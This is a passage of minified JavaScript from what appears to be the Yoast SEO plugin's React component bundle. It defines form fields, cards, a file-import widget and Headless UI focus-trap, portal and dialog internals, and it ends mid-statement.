0:s.variant,id:c.validation,className:"yst-autocomplete-field__validation"},s.message),a&&(0,e.createElement)("div",{id:c.description,className:"yst-autocomplete-field__description"},a))})),Xa={id:o().string.isRequired,name:o().string.isRequired,label:o().string.isRequired,description:o().node,validation:o().shape({variant:o().string,message:o().node}),className:o().string};Za.propTypes=Xa,Za.defaultProps={validation:{},className:""},Za.Option=kt.Option,Za.Option.displayName="AutocompleteField.Option";const Ja=t=>(0,e.createElement)(Za,{...t});Ja.propTypes=Xa,Ja.defaultProps=Za.defaultProps,Ja.displayName="AutocompleteField";const er=Za,tr=({as:t="div",children:n,className:a="",...s})=>(0,e.createElement)(t,{...s,className:r()("yst-card__header",a)},n);tr.propTypes={as:s.PropTypes.element,children:s.PropTypes.node.isRequired,className:s.PropTypes.string};const nr=({as:t="div",children:n,className:a="",...s})=>(0,e.createElement)(t,{...s,className:r()("yst-card__content",a)},n);nr.propTypes={as:s.PropTypes.element,children:s.PropTypes.node.isRequired,className:s.PropTypes.string};const ar=({as:t="div",children:n,className:a="",...s})=>(0,e.createElement)(t,{...s,className:r()("yst-card__footer",a)},n);ar.propTypes={as:s.PropTypes.element,children:s.PropTypes.node.isRequired,className:s.PropTypes.string};const rr=(0,l.forwardRef)((({as:t,children:n,className:a,...s},o)=>(0,e.createElement)(t,{...s,className:r()("yst-card",a),ref:o},n))),sr={as:s.PropTypes.elementType,children:s.PropTypes.node.isRequired,className:s.PropTypes.string};rr.propTypes=sr,rr.defaultProps={as:"div",className:""},rr.Header=tr,rr.Header.displayName="Card.Header",rr.Content=nr,rr.Content.displayName="Card.Content",rr.Footer=ar,rr.Footer.displayName="Card.Footer";const or=t=>(0,e.createElement)(rr,{...t});or.propTypes=sr,or.defaultProps=rr.defaultProps,or.displayName="Card";const lr=rr,ir=({children:t=null,id:n="",name:a="",values:s=[],label:o="",description:c="",disabled:u=!1,options:d,onChange:p=i.noop,className:m="",...f})=>{const y=(0,l.useCallback)((({target:e})=>{if(e.checked&&!(0,i.includes)(s,e.value))return p([...s,e.value]);p((0,i.without)(s,e.value))}),[s,p]);return(0,e.createElement)("fieldset",{id:`checkbox-group-${n}`,className:r()("yst-checkbox-group",u&&"yst-checkbox-group--disabled",m)},(0,e.createElement)(Yt,{as:"legend",className:"yst-checkbox-group__label",label:o}),c&&(0,e.createElement)("div",{className:"yst-checkbox-group__description"},c),(0,e.createElement)("div",{className:"yst-checkbox-group__options"},t||d.map(((t,r)=>{const o=`checkbox-${n}-${r}`;return(0,e.createElement)(en,{key:o,id:o,name:a,value:t.value,label:t.label,checked:(0,i.includes)(s,t.value),disabled:u,onChange:y,...f})}))))};ir.propTypes={children:o().node,id:o().string,name:o().string,values:o().arrayOf(o().string),label:o().string,disabled:o().bool,description:o().string,options:o().arrayOf(o().shape({value:o().string.isRequired,label:o().string.isRequired})),onChange:o().func,className:o().string},(ir.Checkbox=en).displayName="CheckboxGroup.Checkbox";const cr=ir,ur=window.yoast.reduxJsToolkit;function dr(e){return"string"==typeof e&&"%"===e[e.length-1]&&function(e){const t=parseFloat(e);return!isNaN(t)&&isFinite(t)}(e.substring(0,e.length-1))}function pr(e,t){0===t&&(null==e?void 0:e.style)&&(e.style.display="none")}const mr={animating:"rah-animating",animatingUp:"rah-animating--up",animatingDown:"rah-animating--down",animatingToHeightZero:"rah-animating--to-height-zero",animatingToHeightAuto:"rah-animating--to-height-auto",animatingToHeightSpecific:"rah-animating--to-height-specific",static:"rah-static",staticHeightZero:"rah-static--height-zero",staticHeightAuto:"rah-static--height-auto",staticHeightSpecific:"rah-static--height-specific"};function fr(e,t){return[e.static,0===t&&e.staticHeightZero,t>0&&e.staticHeightSpecific,"auto"===t&&e.staticHeightAuto].filter((e=>e)).join(" ")}const yr=t=>{var{animateOpacity:n=!1,animationStateClasses:a={},applyInlineTransitions:r=!0,children:s,className:o="",contentClassName:l,delay:i=0,duration:c=500,easing:u="ease",height:d,onHeightAnimationEnd:p,onHeightAnimationStart:m,style:f}=t,y=function(e,t){var n={};for(var a in e)Object.prototype.hasOwnProperty.call(e,a)&&t.indexOf(a)<0&&(n[a]=e[a]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var r=0;for(a=Object.getOwnPropertySymbols(e);r<a.length;r++)t.indexOf(a[r])<0&&Object.prototype.propertyIsEnumerable.call(e,a[r])&&(n[a[r]]=e[a[r]])}return n}(t,["animateOpacity","animationStateClasses","applyInlineTransitions","children","className","contentClassName","delay","duration","easing","height","onHeightAnimationEnd","onHeightAnimationStart","style"]);const b=(0,e.useRef)(d),v=(0,e.useRef)(null),g=(0,e.useRef)(),h=(0,e.useRef)(),E=(0,e.useRef)(Object.assign(Object.assign({},mr),a)),x="undefined"!=typeof window,N=(0,e.useRef)(!(!x||!window.matchMedia)&&window.matchMedia("(prefers-reduced-motion)").matches),R=N.current?0:i,w=N.current?0:c;let T=d,O="visible";"number"==typeof T?(T=d<0?0:d,O="hidden"):dr(T)&&(T="0%"===d?0:d,O="hidden");const[P,C]=(0,e.useState)(T),[S,k]=(0,e.useState)(O),[_,L]=(0,e.useState)(!1),[F,M]=(0,e.useState)(fr(E.current,d));(0,e.useEffect)((()=>{pr(v.current,P)}),[]),(0,e.useEffect)((()=>{if(d!==b.current&&v.current){!function(e,t){0===t&&(null==e?void 0:e.style)&&(e.style.display="")}(v.current,b.current),v.current.style.overflow="hidden";const e=v.current.offsetHeight;v.current.style.overflow="";const t=w+R;let n,a,r,s="hidden";const o="auto"===b.current;"number"==typeof d?(n=d<0?0:d,a=n):dr(d)?(n="0%"===d?0:d,a=n):(n=e,a="auto",s=void 0),o&&(a=n,n=e);const l=[E.current.animating,("auto"===b.current||d<b.current)&&E.current.animatingUp,("auto"===d||d>b.current)&&E.current.animatingDown,0===a&&E.current.animatingToHeightZero,"auto"===a&&E.current.animatingToHeightAuto,a>0&&E.current.animatingToHeightSpecific].filter((e=>e)).join(" "),i=fr(E.current,a);C(n),k("hidden"),L(!o),M(l),clearTimeout(h.current),clearTimeout(g.current),o?(r=!0,h.current=setTimeout((()=>{C(a),k(s),L(r),null==m||m(a)}),50),g.current=setTimeout((()=>{L(!1),M(i),pr(v.current,a),null==p||p(a)}),t)):(null==m||m(n),h.current=setTimeout((()=>{C(a),k(s),L(!1),M(i),"auto"!==d&&pr(v.current,n),null==p||p(n)}),t))}return b.current=d,()=>{clearTimeout(h.current),clearTimeout(g.current)}}),[d]);const I=Object.assign(Object.assign({},f),{height:P,overflow:S||(null==f?void 0:f.overflow)});_&&r&&(I.transition=`height ${w}ms ${u} ${R}ms`,(null==f?void 0:f.transition)&&(I.transition=`${f.transition}, ${I.transition}`),I.WebkitTransition=I.transition);const D={};n&&(D.transition=`opacity ${w}ms ${u} ${R}ms`,D.WebkitTransition=D.transition,0===P&&(D.opacity=0));const q=void 0!==y["aria-hidden"]?y["aria-hidden"]:0===d;return e.createElement("div",Object.assign({},y,{"aria-hidden":q,className:`${F} ${o}`,style:I}),e.createElement("div",{className:l,style:D,ref:v},s))},br=(e=!0)=>{const[t,n]=(0,l.useState)(e),a=(0,l.useCallback)((()=>n(!t)),[t,n]),r=(0,l.useCallback)((()=>n(!0)),[n]),s=(0,l.useCallback)((()=>n(!1)),[n]);return[t,a,n,r,s]},vr=({limit:t,children:n,renderButton:a,initialShow:r=!1,id:s=""})=>{const[o,c]=br(r),u=(0,l.useMemo)((()=>(0,i.flatten)(n)),[n]),d=(0,l.useMemo)((()=>(0,i.slice)(u,0,t)),[u]),p=(0,l.useMemo)((()=>(0,i.slice)(u,t)),[u]),m=(0,l.useMemo)((()=>s||`yst-animate-height-${(0,ur.nanoid)()}`),[s]),f=(0,l.useMemo)((()=>({"aria-expanded":o,"aria-controls":m})),[o,m]);return t<0||u.length<=t?n:(0,e.createElement)(e.Fragment,null,d,(0,e.createElement)(yr,{id:m,easing:"ease-in-out",duration:300,height:o?"auto":0,animateOpacity:!0},p),a({show:o,toggle:c,ariaProps:f}))};vr.propTypes={limit:o().number.isRequired,children:o().arrayOf(o().node).isRequired,renderButton:o().func.isRequired,initialShow:o().bool,id:o().string};const gr=vr,hr=e.forwardRef((function(t,n){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:n},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}))})),Er={variant:{default:"yst-feature-upsell--default",card:"yst-feature-upsell--card"}},xr=({children:t,shouldUpsell:n=!0,className:a="",variant:s="card",cardLink:o="",cardText:l="",...i})=>{const u=c();return n?(0,e.createElement)("div",{className:r()("yst-feature-upsell",Er.variant[s],a)},(0,e.createElement)("div",{className:"yst-space-y-8 yst-grayscale"},t),(0,e.createElement)("div",{className:"yst-absolute yst-inset-0 yst-ring-1 yst-ring-black yst-ring-opacity-5 yst-shadow-lg yst-rounded-md"}),(0,e.createElement)("div",{className:"yst-absolute yst-inset-0 yst-flex yst-items-center yst-justify-center"},(0,e.createElement)(Vt,{as:"a",className:"yst-gap-2 yst-shadow-lg yst-shadow-amber-700/30",variant:"upsell",href:o,target:"_blank",rel:"noopener",...i},(0,e.createElement)(hr,{className:"yst-w-5 yst-h-5 yst--ml-1 yst-shrink-0",...u}),l))):t};xr.propTypes={children:o().node.isRequired,shouldUpsell:o().bool,className:o().string,variant:o().oneOf(Object.keys(Er.variant)),cardLink:o().string,cardText:o().string};const Nr=xr,Rr=e.forwardRef((function(t,n){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:n},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12h6m-6 4h6m2 5H7a2 2 0 01-2-2V5a2 2 0 012-2h5.586a1 1 0 01.707.293l5.414 5.414a1 1 0 01.293.707V19a2 2 0 01-2 2z"}))})),wr=e.forwardRef((function(t,n){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:n},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 13h6m-3-3v6m5 5H7a2 2 0 01-2-2V5a2 2 0 012-2h5.586a1 1 0 01.707.293l5.414 5.414a1 1 0 01.293.707V19a2 2 0 01-2 2z"}))})),Tr=(0,l.forwardRef)((({id:t,name:n,value:a,selectLabel:s,dropLabel:o,screenReaderLabel:c,selectDescription:u,disabled:d,iconAs:p,onChange:m,onDrop:f,className:y,...b},v)=>{const[g,h]=(0,l.useState)(!1),E=(0,l.useCallback)((e=>{e.preventDefault(),(0,i.isEmpty)(e.dataTransfer.items)||h(!0)}),[h]),x=(0,l.useCallback)((e=>{e.preventDefault(),h(!1)}),[h]),N=(0,l.useCallback)((e=>{e.preventDefault()}),[]),R=(0,l.useCallback)((e=>{e.preventDefault(),h(!1),f(e)}),[h,f]);return(0,e.createElement)("div",{onDragEnter:E,onDragLeave:x,onDragOver:N,onDrop:R,className:r()("yst-file-input",{"yst-is-drag-over":g,"yst-is-disabled":d,className:y})},(0,e.createElement)("div",{className:"yst-file-input__content"},(0,e.createElement)(p,{className:"yst-file-input__icon"}),(0,e.createElement)("div",{className:"yst-file-input__labels"},(0,e.createElement)("input",{ref:v,type:"file",id:t,name:n,value:a,onChange:m,className:"yst-file-input__input","aria-labelledby":c,disabled:d,...b}),(0,e.createElement)(pn,{as:"label",htmlFor:t,className:"yst-file-input__select-label"},s),(0,e.createElement)("span",null," "),o),u&&(0,e.createElement)("span",null,u)))})),Or={id:o().string.isRequired,name:o().string.isRequired,value:o().string.isRequired,selectLabel:o().string.isRequired,dropLabel:o().string.isRequired,screenReaderLabel:o().string.isRequired,selectDescription:o().string,disabled:o().bool,iconAs:o().elementType,onChange:o().func.isRequired,onDrop:o().func,className:o().string};Tr.defaultProps={selectDescription:"",disabled:!1,iconAs:wr,className:"",onDrop:i.noop},Tr.propTypes=Or;const Pr=t=>(0,e.createElement)(Tr,{...t});Pr.propTypes=Or,Pr.defaultProps=Tr.defaultProps,Pr.displayName="FileInput";const Cr=Tr,Sr={idle:"idle",selected:"selected",loading:"loading",success:"success",aborted:"aborted",error:"error"},kr=(0,l.createContext)({status:Sr.idle}),_r={enter:"yst-transition-opacity yst-ease-in-out yst-duration-1000 yst-delay-200",enterFrom:"yst-opacity-0",enterTo:"yst-opacity-100",leave:"yst-transition-opacity yst-ease-in-out yst-duration-200",leaveFrom:"yst-opacity-0",leaveTo:"yst-opacity-100",className:"yst-absolute"},Lr=t=>{const n=({children:n})=>{const{status:a}=(0,l.useContext)(kr);return(0,e.createElement)(vt,{show:a===t,enter:"yst-transition-opacity yst-ease-in-out yst-duration-1000 yst-delay-200",enterFrom:"yst-opacity-0",enterTo:"yst-opacity-100",className:"yst-mt-6"},n)};return n.propTypes={children:o().node},n.displayName=`FileImport.${(0,i.capitalize)(t)}`,n},Fr=(0,l.forwardRef)((({children:t="",id:n,name:a,selectLabel:r,dropLabel:s,screenReaderLabel:o,abortScreenReaderLabel:c,selectDescription:u,status:d,onChange:p,onAbort:m,feedbackTitle:f,feedbackDescription:y,progressMin:b,progressMax:v,progress:h},E)=>{const x=(0,l.useMemo)((()=>d===Sr.selected),[d]),N=(0,l.useMemo)((()=>d===Sr.loading),[d]),R=(0,l.useMemo)((()=>d===Sr.success),[d]),w=(0,l.useMemo)((()=>d===Sr.aborted),[d]),T=(0,l.useMemo)((()=>d===Sr.error),[d]),O=(0,l.useMemo)((()=>(0,i.includes)([Sr.selected,Sr.loading,Sr.success,Sr.aborted,Sr.error],d)),[d]),P=(0,l.useCallback)((e=>{(0,i.isEmpty)(e.target.files)||p(e.target.files[0])}),[p]),C=(0,l.useCallback)((e=>{if(!(0,i.isEmpty)(e.dataTransfer.files)){const t=e.dataTransfer.files[0];t&&p(t)}}),[p]);return(0,e.createElement)(kr.Provider,{value:{status:d}},(0,e.createElement)("div",{className:"yst-file-import"},(0,e.createElement)(Cr,{ref:E,id:n,name:a,value:"",onChange:P,onDrop:C,className:"yst-file-import__input","aria-labelledby":o,disabled:N,selectLabel:r,dropLabel:s,screenReaderLabel:o,selectDescription:u}),(0,e.createElement)(vt,{show:O,enter:"yst-transition-opacity yst-ease-in-out yst-duration-1000 yst-delay-200",enterFrom:"yst-opacity-0",enterTo:"yst-opacity-100"},(0,e.createElement)("div",{className:"yst-file-import__feedback"},(0,e.createElement)("header",{className:"yst-file-import__feedback-header"},(0,e.createElement)("div",{className:"yst-file-import__feedback-figure"},(0,e.createElement)(Rr,null)),(0,e.createElement)("div",{className:"yst-flex-1"},(0,e.createElement)("span",{className:"yst-file-import__feedback-title"},f),(0,e.createElement)("p",{className:"yst-file-import__feedback-description"},y),!(0,i.isNull)(h)&&(0,e.createElement)(wn,{min:b,max:v,progress:h,className:"yst-mt-1.5"})),(0,e.createElement)("div",{className:"yst-relative yst-h-5 yst-w-5"},(0,e.createElement)(vt,{show:x,..._r},(0,e.createElement)(g,{variant:"info",className:"yst-w-5 yst-h-5"})),(0,e.createElement)(vt,{show:N,..._r},(0,e.createElement)("button",{type:"button",onClick:m,className:"yst-file-import__abort-button"},(0,e.createElement)("span",{className:"yst-sr-only"},c),(0,e.createElement)(Et,null))),(0,e.createElement)(vt,{show:R,..._r},(0,e.createElement)(g,{variant:"success",className:"yst-w-5 yst-h-5"})),(0,e.createElement)(vt,{show:w,..._r},(0,e.createElement)(g,{variant:"warning",className:"yst-w-5 yst-h-5"})),(0,e.createElement)(vt,{show:T,..._r},(0,e.createElement)(g,{variant:"error",className:"yst-w-5 yst-h-5"})))),t))))})),Mr={children:o().node,id:o().string.isRequired,name:o().string.isRequired,selectLabel:o().string.isRequired,dropLabel:o().string.isRequired,screenReaderLabel:o().string.isRequired,abortScreenReaderLabel:o().string.isRequired,selectDescription:o().string,feedbackTitle:o().string.isRequired,feedbackDescription:o().string,progressMin:o().number,progressMax:o().number,progress:o().number,status:o().oneOf((0,i.values)(Sr)),onChange:o().func.isRequired,onAbort:o().func.isRequired};Fr.propTypes=Mr,Fr.defaultProps={feedbackDescription:"",progressMin:null,progressMax:null,progress:null,status:Sr.idle},Fr.Selected=Lr(Sr.selected),Fr.Loading=Lr(Sr.loading),Fr.Success=Lr(Sr.success),Fr.Aborted=Lr(Sr.aborted),Fr.Error=Lr(Sr.error);const Ir=t=>(0,e.createElement)(Fr,{...t});Ir.propTypes=Mr,Ir.defaultProps=Fr.defaultProps,Ir.displayName="FileImport";const Dr=Fr;var qr=(e=>(e[e.Forwards=0]="Forwards",e[e.Backwards=1]="Backwards",e))(qr||{});function Ar(...t){return(0,e.useMemo)((()=>z(...t)),[...t])}function jr(t,n,a,r){let s=L(a);(0,e.useEffect)((()=>{function e(e){s.current(e)}return(t=null!=t?t:window).addEventListener(n,e,r),()=>t.removeEventListener(n,e,r)}),[t,n,r])}var Br=(e=>(e[e.None=1]="None",e[e.InitialFocus=2]="InitialFocus",e[e.TabLock=4]="TabLock",e[e.FocusLock=8]="FocusLock",e[e.RestoreFocus=16]="RestoreFocus",e[e.All=30]="All",e))(Br||{});let Hr=Object.assign(ve((function(t,n){let a=(0,e.useRef)(null),r=le(a,n),{initialFocus:s,containers:o,features:l=30,...i}=t;A()||(l=1);let c=Ar(a);!function({ownerDocument:t},n){let a=(0,e.useRef)(null);jr(null==t?void 0:t.defaultView,"focusout",(e=>{!n||a.current||(a.current=e.target)}),!0),Le((()=>{n||((null==t?void 0:t.activeElement)===(null==t?void 0:t.body)&&Z(a.current),a.current=null)}),[n]);let r=(0,e.useRef)(!1);(0,e.useEffect)((()=>(r.current=!1,()=>{r.current=!0,M((()=>{!r.current||(Z(a.current),a.current=null)}))})),[])}({ownerDocument:c},Boolean(16&l));let u=function({ownerDocument:t,container:n,initialFocus:a},r){let s=(0,e.useRef)(null),o=tt();return Le((()=>{if(!r)return;let e=n.current;!e||M((()=>{if(!o.current)return;let n=null==t?void 0:t.activeElement;if(null!=a&&a.current){if((null==a?void 0:a.current)===n)return void(s.current=n)}else if(e.contains(n))return void(s.current=n);null!=a&&a.current?Z(a.current):ee(e,W.First)===G.Error&&console.warn("There are no focusable elements inside the <FocusTrap />"),s.current=null==t?void 0:t.activeElement}))}),[r]),s}({ownerDocument:c,container:a,initialFocus:s},Boolean(2&l));!function({ownerDocument:e,container:t,containers:n,previousActiveElement:a},r){let s=tt();jr(null==e?void 0:e.defaultView,"focus",(e=>{if(!r||!s.current)return;let o=new Set(null==n?void 0:n.current);o.add(t);let l=a.current;if(!l)return;let i=e.target;i&&i instanceof HTMLElement?zr(o,i)?(a.current=i,Z(i)):(e.preventDefault(),e.stopPropagation(),Z(l)):Z(a.current)}),!0)}({ownerDocument:c,container:a,containers:o,previousActiveElement:u},Boolean(8&l));let d=function(){let t=(0,e.useRef)(0);return function(t,n,a){let r=L(n);(0,e.useEffect)((()=>{function e(e){r.current(e)}return window.addEventListener(t,e,a),()=>window.removeEventListener(t,e,a)}),[t,a])}("keydown",(e=>{"Tab"===e.key&&(t.current=e.shiftKey?1:0)}),!0),t}(),p=q((e=>{let t=a.current;t&&H(d.current,{[qr.Forwards]:()=>{ee(t,W.First,{skipElements:[e.relatedTarget]})},[qr.Backwards]:()=>{ee(t,W.Last,{skipElements:[e.relatedTarget]})}})})),m=D(),f=(0,e.useRef)(!1),y={ref:r,onKeyDown(e){"Tab"==e.key&&(f.current=!0,m.requestAnimationFrame((()=>{f.current=!1})))},onBlur(e){let t=new Set(null==o?void 0:o.current);t.add(a);let n=e.relatedTarget;n instanceof HTMLElement&&"true"!==n.dataset.headlessuiFocusGuard&&(zr(t,n)||(f.current?ee(a.current,H(d.current,{[qr.Forwards]:()=>W.Next,[qr.Backwards]:()=>W.Previous})|W.WrapAround,{relativeTo:e.target}):e.target instanceof HTMLElement&&Z(e.target)))}};return e.createElement(e.Fragment,null,Boolean(4&l)&&e.createElement(Te,{as:"button",type:"button","data-headlessui-focus-guard":!0,onFocus:p,features:we.Focusable}),fe({ourProps:y,theirProps:i,defaultTag:"div",name:"FocusTrap"}),Boolean(4&l)&&e.createElement(Te,{as:"button",type:"button","data-headlessui-focus-guard":!0,onFocus:p,features:we.Focusable}))})),{features:Br});function zr(e,t){var n;for(let a of e)if(null!=(n=a.current)&&n.contains(t))return!0;return!1}let $r=new Set,Ur=new Map;function Vr(e){e.setAttribute("aria-hidden","true"),e.inert=!0}function Wr(e){let t=Ur.get(e);!t||(null===t["aria-hidden"]?e.removeAttribute("aria-hidden"):e.setAttribute("aria-hidden",t["aria-hidden"]),e.inert=t.inert)}const Gr=window.ReactDOM;let Kr=(0,e.createContext)(!1);function Qr(){return(0,e.useContext)(Kr)}function Yr(t){return e.createElement(Kr.Provider,{value:t.force},t.children)}let Zr=e.Fragment,Xr=ve((function(t,n){let a=t,r=(0,e.useRef)(null),s=le(oe((e=>{r.current=e})),n),o=Ar(r),l=function(t){let n=Qr(),a=(0,e.useContext)(es),r=Ar(t),[s,o]=(0,e.useState)((()=>{if(!n&&null!==a||k.isServer)return null;let e=null==r?void 0:r.getElementById("headlessui-portal-root");if(e)return e;if(null===r)return null;let t=r.createElement("div");return t.setAttribute("id","headlessui-portal-root"),r.body.appendChild(t)}));return(0,e.useEffect)((()=>{null!==s&&(null!=r&&r.body.contains(s)||null==r||r.body.appendChild(s))}),[s,r]),(0,e.useEffect)((()=>{n||null!==a&&o(a.current)}),[a,o,n]),s}(r),[i]=(0,e.useState)((()=>{var e;return k.isServer?null:null!=(e=null==o?void 0:o.createElement("div"))?e:null})),c=A(),u=(0,e.useRef)(!1);return _((()=>{if(u.current=!1,l&&i)return l.contains(i)||(i.setAttribute("data-headlessui-portal",""),l.appendChild(i)),()=>{u.current=!0,M((()=>{var e;!u.current||!l||!i||(i instanceof Node&&l.contains(i)&&l.removeChild(i),l.childNodes.length<=0&&(null==(e=l.parentElement)||e.removeChild(l)))}))}}),[l,i]),c&&l&&i?(0,Gr.createPortal)(fe({ourProps:{ref:s},theirProps:a,defaultTag:Zr,name:"Portal"}),i):null})),Jr=e.Fragment,es=(0,e.createContext)(null),ts=ve((function(t,n){let{target:a,...r}=t,s={ref:le(n)};return e.createElement(es.Provider,{value:a},fe({ourProps:s,theirProps:r,defaultTag:Jr,name:"Popover.Group"}))})),ns=Object.assign(Xr,{Group:ts}),as=(0,e.createContext)((()=>{}));as.displayName="StackContext";var rs=(e=>(e[e.Add=0]="Add",e[e.Remove=1]="Remove",e))(rs||{});function ss({children:t,onUpdate:n,type:a,element:r,enabled:s}){let o=(0,e.useContext)(as),l=q(((...e)=>{null==n||n(...e),o(...e)}));return _((()=>{let e=void 0===s||!0===s;return e&&l(0,a,r),()=>{e&&l(1,a,r)}}),[l,a,r,s]),e.createElement(as.Provider,{value:l},t)}var os=(e=>(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(os||{}),ls=(e=>(e[e.SetTitleId=0]="SetTitleId",e))(ls||{});let is={0:(e,t)=>e.titleId===t.id?e:{...e,titleId:t.id}},cs=(0,e.createContext)(null);function us(t){let n=(0,e.useContext)(cs);if(null===n){let e=new Error(`<${t} /> is missing a parent <Dialog /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(e,us),e}return n}function ds(e,t){return H(t.type,is,e,t)}cs.displayName="DialogContext";let ps=pe.RenderStrategy|pe.Static,ms=ve((function(t,n){let a=B(),{id:r=`headlessui-dialog-${a}`,open:s,onClose:o,initialFocus:l,__demoMode:i=!1,...c}=t,[u,d]=(0,e.useState)(0),p=Ce();void 0===s&&null!==p&&(s=H(p,{[Pe.Open]:!0,[Pe.Closed]:!1}));let m=(0,e.useRef)(new Set),f=(0,e.useRef)(null),y=le(f,n),b=(0,e.useRef)(null),v=Ar(f),g=t.hasOwnProperty("open")||null!==p,h=t.hasOwnProperty("onClose");if(!g&&!h)throw new Error("You have to provide an `open` and an `onClose` prop to the `Dialog` component.");if(!g)throw new Error("You provided an `onClose` prop to the `Dialog`, but forgot an `open` prop.");if(!h)throw new Error("You provided an `open` prop to the `Dialog`, but forgot an `onClose` prop.");if("boolean"!=typeof s)throw new Error(`You provided an \`open\` prop to the \`Dialog\`, but the value is not a boolean. Received: ${s}`);if("function"!=typeof o)throw new Error(`You provided an \`onClose\` prop to the \`Dialog\`, but the value is not a function. Received: ${o}`);let E=s?0:1,[x,N]=(0,e.useReducer)(ds,{titleId:null,descriptionId:null,panelRef:(0,e.createRef)()}),R=q((()=>o(!1))),w=q((e=>N({type:0,id:e}))),T=!!A()&&!i&&0===E,O=u>1,P=null!==(0,e.useContext)(cs),C=O?"parent":"leaf";!function(e,t=!0){_((()=>{if(!t||!e.current)return;let n=e.current,a=z(n);if(a){$r.add(n);for(let e of Ur.keys())e.contains(n)&&(Wr(e),Ur.delete(e));return a.querySelectorAll("body > *").forEach((e=>{if(e instanceof HTMLElement){for(let t of $r)if(e.contains(t))return;1===$r.size&&(Ur.set(e,{"aria-hidden":e.getAttribute("aria-hidden"),inert:e.inert}),Vr(e))}})),()=>{if($r.delete(n),$r.size>0)a.querySelectorAll("body > *").forEach((e=>{if(e instanceof HTMLElement&&!Ur.has(e)){for(let t of $r)if(e.contains(t))return;Ur.set(e,{"aria-hidden":e.getAttribute("aria-hidden"),inert:e.inert}),Vr(e)}}));else for(let e of Ur.keys())Wr(e),Ur.delete(e)}}}),[t])}(f,!!O&&T);let S=q((()=>{var e,t;return[...Array.from(null!=(e=null==v?void 0:v.querySelectorAll("html > *, body > *, [data-headlessui-portal]"))?e:[]).filter((e=>!(e===document.body||e===document.head||!(e instanceof HTMLElement)||e.contains(b.current)||x.panelRef.current&&e.contains(x.panelRef.current)))),null!=(t=x.panelRef.current)?t:f.current]}));ne((()=>S()),R,T&&!O),jr(null==v?void 0:v.defaultView,"keydown",(e=>{e.defaultPrevented||e.key===ke.Escape&&0===E&&(O||(e.preventDefault(),e.stopPropagation(),R()))})),function(t,n,a=(()=>[document.body])){(0,e.useEffect)((()=>{var e;if(!n||!t)return;let r=I(),s=window.pageYOffset;function o(e,t,n){let a=e.style.getPropertyValue(t);return Object.assign(e.style,{[t]:n}),r.add((()=>{Object.assign(e.style,{[t]:a})}))}let l=t.documentElement,i=(null!=(e=t.defaultView)?e:window).innerWidth-l.clientWidth;if(o(l,"overflow","hidden"),i>0&&o(l,"paddingRight",i-(l.clientWidth-l.offsetWidth)+"px"),/iPhone/gi.test(window.navigator.platform)||/Mac/gi.test(window.navigator.platform)&&window.navigator.maxTouchPoints>0){o(t.body,"marginTop",`-${s}px`),window.scrollTo(0,0);let e=null;r.addEventListener(t,"click",(n=>{if(n.target instanceof HTMLElement)try{let r=n.target.closest("a");if(!r)return;let{hash:s}=new URL(r.href),o=t.querySelector(s);o&&!a().some((e=>e.contains(o)))&&(e=o)}catch{}}),!0),r.addEventListener(t,"touchmove",(e=>{e.target instanceof HTMLElement&&!a().some((t=>t.contains(e.target)))&&e.preventDefault()}),{passive:!1}),r.add((()=>{window.scrollTo(0,window.pageYOffset+s),e&&e.isConnected&&(e.scrollIntoView({block:"nearest"}),e=null)}))}return r.dispose}),[t,n])}(v,0===E&&!P,S),(0,e.useEffect)((()=>{if(0!==E||!f.current)return;let e=new IntersectionObserver((e=>{for(let t of e)0===t.boundingClientRect.x&&0===t.boundingClientRect.y&&0===t.boundingClientRect.width&&0===t.boundingClientRect.height&&R()}));return e.observe(f.current),()=>e.disconnect()}),[E,f,R]);let[k,L]=Ia(),F=(0,e.useMemo)((()=>[{dialogState:E,close:R,setTitleId:w},x]),[E,x,R,w]),M=(0,e.useMemo)((()=>({open:0===E})),[E]),D={ref:y,id:r,role:"dialog","aria-modal":0===E||void 0,"aria-labelledby":x.titleId,"aria-describedby":k};return e.createElement(ss,{type:"Dialog",enabled:0===E,element:f,onUpdate:q(((e,t,n)=>{"Dialog"===t&&H(e,{[rs.Add](){m.current.add(n),d((e=>e+1))},[rs.Remove](){m.current.add(n),d((e=>e-1))}})}))},e.createElement(Yr,{force:!0},e.createElement(ns,null,e.createElement(cs.Provider,{value:F},e.createElement(ns.Group,{target:f},e.createElement(Yr,{force:!1},e.createElement(L,{slot:M,name:"Dialog.Description"},e.createElement(Hr,{initialFocus:l,containers:m,features:T?H(C,{parent:Hr.features.RestoreFocus,leaf:Hr.features.All&~Hr.features.FocusLock}):Hr.features.None},fe({ourProps:D,theirProps:c,slot:M,defaultTag:"div",features:ps,visible:0===E,name:"Dialog"})))))))),e.createElement(Te,{features:we.Hidden,ref:b}))})),fs=ve((function(t,n){let a=B(),{id:r=`headlessui-dialog-overlay-${a}`,...s}=t,[{dialogState:o,close:l}]=us("Dialog.Overlay");return fe({ourProps:{ref:le(n),id:r,"aria-hidden":!0,onClick:q((e=>{if(e.target===e.currentTarget){if(Ee(e.currentTarget))return e.preventDefault();e.preventDefault(),e.stopPropagation(),l()}}))},theirProps:s,slot:(0,e.useMemo)((()=>({open:0===o})),[o]),defaultTag:"div",name:"Dialog.Overlay"})})),ys=ve((function(t,n){let a=B(),{id:r=`headlessui-dialog-backdrop-${a}`,...s}=t,[{dialogState:o},l]=us("Dialog.Backdrop"),i=le(n);(0,e.useEffect)((()=>{if(null===l.panelRef.current)throw new Error("A <Dialog.Backdrop /> component is being used, but a <Dialog.Panel /> component is missing.")}),[l.panelRef]);let c=(0,e.useMemo)((()=>({open:0===o})),[o]);return 